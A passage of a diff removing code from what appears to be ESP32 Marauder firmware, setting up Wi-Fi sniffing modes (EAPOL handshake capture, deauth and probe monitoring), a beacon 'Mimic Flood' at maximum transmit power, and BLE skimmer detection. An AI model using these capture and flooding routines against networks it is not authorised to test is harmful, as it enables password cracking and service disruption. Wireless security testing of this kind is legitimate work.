-  sd_obj.openCapture("ap");
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-
-  Serial.println(text_table4[9] + (String)access_points->size());
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[44],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
-  esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
-  //else
-  //  esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-#ifdef HAS_SCREEN
-  void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
-  
-    display_obj.tft.init();
-    display_obj.tft.setRotation(1);
-    
-    #ifdef TFT_SHIELD
-      uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
-      Serial.println("Using TFT Shield");
-    #else if defined(TFT_DIY)
-      uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
-      Serial.println("Using TFT DIY");
-    #endif
-    display_obj.tft.setTouch(calData);
-    
-  
-    lv_obj_t * scr = lv_cont_create(NULL, NULL);
-    lv_disp_load_scr(scr);
-  
-  }
-#endif
-
-void WiFiScan::RunClearStations() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.println(F(text_table4[45]));
-    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
-  #else
-    this->clearStations();
-  #endif
-}
-
-void WiFiScan::RunClearAPs() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.println(F(text_table4[9]));
-    display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
-    display_obj.tft.println(F(text_table4[45]));
-    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
-  #else
-    this->clearAPs();
-    this->clearStations();
-  #endif
-}
-
-void WiFiScan::RunClearSSIDs() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.println(F(text_table4[11]));
-    display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
-  #else
-    this->clearSSIDs();
-  #endif
-}
-
-void WiFiScan::RunGenerateSSIDs(int count) {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.println(F(text_table4[13]));
-  
-    display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
-    display_obj.tft.println(text_table4[15] + (String)ssids->size());
-  #else
-    this->generateSSIDs(count);
-  #endif
-}
-
-void WiFiScan::RunShutdownWiFi() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-
-    display_obj.tft.print(F(text_table4[16]));
-  #endif
-
-  if (this->wifi_initialized) {
-    this->shutdownWiFi();
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_GREEN);
-      display_obj.tft.println(F("OK"));
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED);
-      display_obj.tft.println(F(text17));
-      display_obj.tft.println(F(text_table4[17]));
-    #endif
-  }
-}
-
-void WiFiScan::RunShutdownBLE() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.print(F(text_table4[18]));
-  #endif
-
-  if (this->ble_initialized) {
-    this->shutdownBLE();
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_GREEN);
-      display_obj.tft.println(F("OK"));
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED);
-      display_obj.tft.println(F(text17));
-      display_obj.tft.println(F(text_table4[19]));
-    #endif
-  }
-}
-
-void WiFiScan::RunInfo()
-{
-  String sta_mac = this->getStaMAC();
-  String ap_mac = this->getApMAC();
-  String free_ram = this->freeRAM();
-  
-  //Serial.print("STA MAC: ");
-  //Serial.println(sta_mac);
-  //Serial.print("AP MAC: ");
-  //Serial.println(ap_mac);
-  Serial.println(free_ram);
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-    display_obj.tft.println(text_table4[20]);
-    display_obj.tft.println(text_table4[21] + display_obj.version_number);
-    display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
-  #endif
-
-  if (this->wsl_bypass_enabled) {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[23]);
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[24]);
-    #endif
-  }
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.println(text_table4[25] + sta_mac);
-    display_obj.tft.println(text_table4[26] + ap_mac);
-    display_obj.tft.println(text_table4[27] + free_ram);
-  #endif
-
-  if (sd_obj.supported) {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[28]);
-      display_obj.tft.print(text_table4[29]);
-      display_obj.tft.print(sd_obj.card_sz);
-      display_obj.tft.println("MB");
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[30]);
-      display_obj.tft.println(text_table4[31]);
-    #endif
-  }  
-
-  battery_obj.battery_level = battery_obj.getBatteryLevel();
-  if (battery_obj.i2c_supported) {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[32]);
-      display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[34]);
-    #endif
-  }
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
-  #endif
-}
-
-void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
-  sd_obj.openCapture("espressif");
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[36],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-
-  sd_obj.openCapture("packet_monitor");
-
-  #ifndef MARAUDER_MINI
-    
-    #ifdef HAS_SCREEN
-      display_obj.tft.init();
-      display_obj.tft.setRotation(1);
-      display_obj.tft.fillScreen(TFT_BLACK);
-    #endif
-  
-    #ifdef HAS_SCREEN
-      #ifdef TFT_SHIELD
-        uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
-        Serial.println("Using TFT Shield");
-      #else if defined(TFT_DIY)
-        uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
-        Serial.println("Using TFT DIY");
-      #endif
-      display_obj.tft.setTouch(calData);
-    
-      //display_obj.tft.setFreeFont(1);
-      display_obj.tft.setFreeFont(NULL);
-      display_obj.tft.setTextSize(1);
-      display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
-      display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
-    
-      delay(10);
-    
-      display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
-      display_obj.tftDrawColorKey();
-      display_obj.tftDrawXScaleButtons(x_scale);
-      display_obj.tftDrawYScaleButtons(y_scale);
-      display_obj.tftDrawChannelScaleButtons(set_channel);
-      display_obj.tftDrawExitScaleButtons();
-    #endif
-  #else
-    #ifdef HAS_SCREEN
-      display_obj.TOP_FIXED_AREA_2 = 48;
-      display_obj.tteBar = true;
-      display_obj.print_delay_1 = 15;
-      display_obj.print_delay_2 = 10;
-      display_obj.initScrollValues(true);
-      display_obj.tft.setTextWrap(false);
-      display_obj.tft.setTextColor(TFT_WHITE, color);
-      #ifndef MARAUDER_MINI
-        display_obj.tft.fillRect(0,16,240,16, color);
-        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
-        display_obj.touchToExit();
-      #endif
-      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-      display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-    #endif
-  #endif
-
-  Serial.println("Running packet scan...");
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  uint32_t initTime = millis();
-}
-
-void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  num_eapol = 0;
-
-  #ifndef MARAUDER_MINI
-    #ifdef HAS_SCREEN
-      display_obj.tft.init();
-      display_obj.tft.setRotation(1);
-      display_obj.tft.fillScreen(TFT_BLACK);
-    #endif
-  
-    sd_obj.openCapture("eapol");
-  
-    #ifdef HAS_SCREEN
-      #ifdef TFT_SHIELD
-        uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
-        //Serial.println("Using TFT Shield");
-      #else if defined(TFT_DIY)
-        uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
-        //Serial.println("Using TFT DIY");
-      #endif
-      display_obj.tft.setTouch(calData);
-    
-      display_obj.tft.setFreeFont(NULL);
-      display_obj.tft.setTextSize(1);
-      display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
-      display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
-    
-      delay(10);
-    
-      display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
-      display_obj.tftDrawEapolColorKey();
-      display_obj.tftDrawChannelScaleButtons(set_channel);
-      display_obj.tftDrawExitScaleButtons();
-    #endif
-  #else
-    sd_obj.openCapture("eapol");
-    
-    #ifdef HAS_SCREEN
-      display_obj.TOP_FIXED_AREA_2 = 48;
-      display_obj.tteBar = true;
-      display_obj.print_delay_1 = 15;
-      display_obj.print_delay_2 = 10;
-      display_obj.initScrollValues(true);
-      display_obj.tft.setTextWrap(false);
-      display_obj.tft.setTextColor(TFT_WHITE, color);
-      #ifndef MARAUDER_MINI
-        display_obj.tft.fillRect(0,16,240,16, color);
-        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
-        display_obj.touchToExit();
-      #endif
-      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-      display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-    #endif
-  #endif
-
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_AP);
-
-  esp_err_t err;
-  wifi_config_t conf;
-  err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
-  if (err != 0)
-  {
-    Serial.print("could not set protocol : err=0x");
-    Serial.println(err, HEX);
-  }
-
-  esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
-  conf.ap.ssid[0] = '\0';
-  conf.ap.ssid_len = 0;
-  conf.ap.channel = this->set_channel;
-  conf.ap.ssid_hidden = 1;
-  conf.ap.max_connection = 0;
-  conf.ap.beacon_interval = 60000;
-
-  err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
-  if (err != 0)
-  {
-    Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
-    Serial.println(err, HEX);
-  }
-
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
-    esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
-  else
-    esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-
-// Function to prepare for beacon mimic
-void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_BLACK, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-  #endif
-  
-  packets_sent = 0;
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_AP_STA);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous_filter(NULL);
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_max_tx_power(78);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
-{
-  sd_obj.openCapture("pwnagotchi");
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[37],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-// Function to start running a beacon scan
-void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
-{
-  sd_obj.openCapture("beacon");
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[38],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
-{
-  sd_obj.openCapture("station");
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table1[59],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
-{
-  sd_obj.openCapture("raw");
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table1[58],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
-{
-  sd_obj.openCapture("deauth");
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_BLACK, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[39],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-
-// Function for running probe request scan
-void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
-{
-  sd_obj.openCapture("probe");
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_BLACK, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[40],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-// Function to start running any BLE scan
-void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef HAS_BT
-    #ifdef HAS_SCREEN
-      display_obj.print_delay_1 = 50;
-      display_obj.print_delay_2 = 20;
-    #endif
-  
-    NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
-    NimBLEDevice::setScanDuplicateCacheSize(200);
-    NimBLEDevice::init("");
-    pBLEScan = NimBLEDevice::getScan(); //create new scan
-    if (scan_mode == BT_SCAN_ALL)
-    {
-      #ifdef HAS_SCREEN
-        display_obj.TOP_FIXED_AREA_2 = 48;
-        display_obj.tteBar = true;
-        display_obj.initScrollValues(true);
-        display_obj.tft.setTextWrap(false);
-        display_obj.tft.setTextColor(TFT_BLACK, color);
-        #ifndef MARAUDER_MINI
-          display_obj.tft.fillRect(0,16,240,16, color);
-          display_obj.tft.drawCentreString(text_table4[41],120,16,2);
-          display_obj.touchToExit();
-        #endif
-        display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-        display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-      #endif
-      pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
-    }
-    else if (scan_mode == BT_SCAN_SKIMMERS)
-    {
-      #ifdef HAS_SCREEN
-        display_obj.TOP_FIXED_AREA_2 = 160;
-        display_obj.tteBar = true;
-        display_obj.tft.fillScreen(TFT_DARKGREY);
-        display_obj.initScrollValues(true);
-        display_obj.tft.setTextWrap(false);
-        display_obj.tft.setTextColor(TFT_BLACK, color);
-        display_obj.tft.fillRect(0,16,240,16, color);
-        display_obj.tft.drawCentreString(text_table4[42],120,16,2);
-        display_obj.twoPartDisplay(text_table4[43]);
-        display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
-        display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-      #endif
-      pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
-    }
-    pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
-    pBLEScan->setInterval(97);
-    pBLEScan->setWindow(37);  // less or equal setInterval value
-    pBLEScan->setMaxResults(0);
-    pBLEScan->start(0, scanCompleteCB, false);
-    Serial.println("Started BLE Scan");
-    this->ble_initialized = true;
-    initTime = millis();
-  #endif
-}
-
-// Function that is called when BLE scan is completed
-#ifdef HAS_BT
-  void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
-    printf("Scan complete!\n");
-    printf("Found %d devices\n", scanResults.getCount());
-    scanResults.dump();
-  } // scanCompleteCB
-#endif
-
-
-// Function to extract MAC addr from a packet at given offset
-void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
-  sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
-}
-
-void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String src_addr_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-  }
-  int fctl = ntohs(frameControl->fctl);
-  const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-  const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-  // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-  //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
-  //{
-
-  char addr[] = "00:00:00:00:00:00";
-  getMAC(addr, snifferPacket->payload, 10);
-
-  src_addr_string.concat(addr);
-  bool match = false;
-
-  for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
-    if (src_addr_string.startsWith(espressif_macs[i])) {
-      match = true;
-      break;
-    }
-  }
-  
-  if (!match)
-    return;
